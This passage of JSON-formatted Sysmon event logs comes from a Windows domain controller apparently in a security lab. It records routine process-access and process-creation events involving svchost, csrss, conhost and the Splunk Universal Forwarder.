C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.187\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nSourceProcessId: 3904\r\nSourceThreadId: 3900\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.187","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","SourceProcessId":"3904","SourceThreadId":"3900","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.212\r\nProcessGuid: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nProcessId: 3320\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.212","ProcessGuid":"{90617006-3FE8-5F2D-0000-0010B03D0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nTargetProcessId: 3320\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 